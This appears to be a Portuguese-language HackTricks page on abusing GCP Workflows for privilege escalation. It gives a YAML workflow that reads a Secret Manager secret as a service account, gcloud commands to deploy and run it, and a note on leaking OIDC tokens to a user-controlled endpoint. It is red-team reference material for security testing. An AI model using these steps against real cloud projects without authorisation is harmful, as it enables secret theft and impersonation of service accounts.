GCP - Workflows Privesc

Reading time: 4 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Workflows

Informações Básicas:

GCP - Workflows Enum

workflows.workflows.create, iam.serviceAccounts.ActAs, workflows.executions.create, (workflows.workflows.get, workflows.operations.get)

Até onde sei, não é possível obter um shell com acesso ao endpoint de metadados contendo as credenciais da SA atacada a um Workflow. No entanto, é possível abusar das permissões da SA adicionando as ações a serem executadas dentro do Workflow.

É possível encontrar a documentação dos conectores. Por exemplo, esta é a página do conector Secretmanager. Na barra lateral, é possível encontrar vários outros conectores.

E aqui você pode encontrar um exemplo de um conector que imprime um segredo:

yaml
main:
params: [input]
steps:
- access_string_secret:
call: googleapis.secretmanager.v1.projects.secrets.versions.accessString
args:
secret_id: secret_name
version: 1
project_id: project-id
result: str_secret
- returnOutput:
return: "${str_secret}"

Atualização a partir do CLI:

bash
gcloud workflows deploy <workflow-name> \
--service-account=email@SA \
--source=/path/to/config.yaml \
--location us-central1

Se você receber um erro como ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist, apenas espere um minuto e tente novamente.

Se você não tiver acesso à web, é possível acionar e ver a execução de um Workflow com:

bash
# Run execution with output
gcloud workflows run <workflow-name> --location us-central1

# Run execution without output
gcloud workflows execute <workflow-name> --location us-central1

# List executions
gcloud workflows executions list <workflow-name>

# Get execution info and output
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>

caution

Você também pode verificar a saída de execuções anteriores para procurar informações sensíveis

Observe que mesmo se você receber um erro como PERMISSION_DENIED: Permission 'workflows.operations.get' denied on... porque você não tem essa permissão, o fluxo de trabalho foi gerado.

Vazamento de token OIDC (e OAuth?)

De acordo com a documentação, é possível usar etapas de fluxo de trabalho que enviarão uma solicitação HTTP com o token OAuth ou OIDC. No entanto, assim como no caso do Cloud Scheduler, a solicitação HTTP com o token Oauth deve ser para o host .googleapis.com.

caution

Portanto, é possível vazar o token OIDC indicando um endpoint HTTP controlado pelo usuário, mas para vazar o token OAuth você precisaria de um bypass para essa proteção. No entanto, você ainda pode contatar qualquer API GCP para realizar ações em nome do SA usando conectores ou solicitações HTTP com o token OAuth.

Oauth

yaml
- step_A:
call: http.post
args:
url: https://compute.googleapis.com/compute/v1/projects/myproject1234/zones/us-central1-b/instances/myvm001/stop
auth:
type: OAuth2
scopes: OAUTH_SCOPE

OIDC

yaml
- step_A:
call: http.get
args:
url: https://us-central1-project.cloudfunctions.net/functionA
query:
firstNumber: 4
secondNumber: 6
operation: sum
auth:
type: OIDC
audience: OIDC_AUDIENCE

workflows.workflows.update ...

Com esta permissão, em vez de workflows.workflows.create, é possível atualizar um fluxo de trabalho já existente e realizar os mesmos ataques.

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks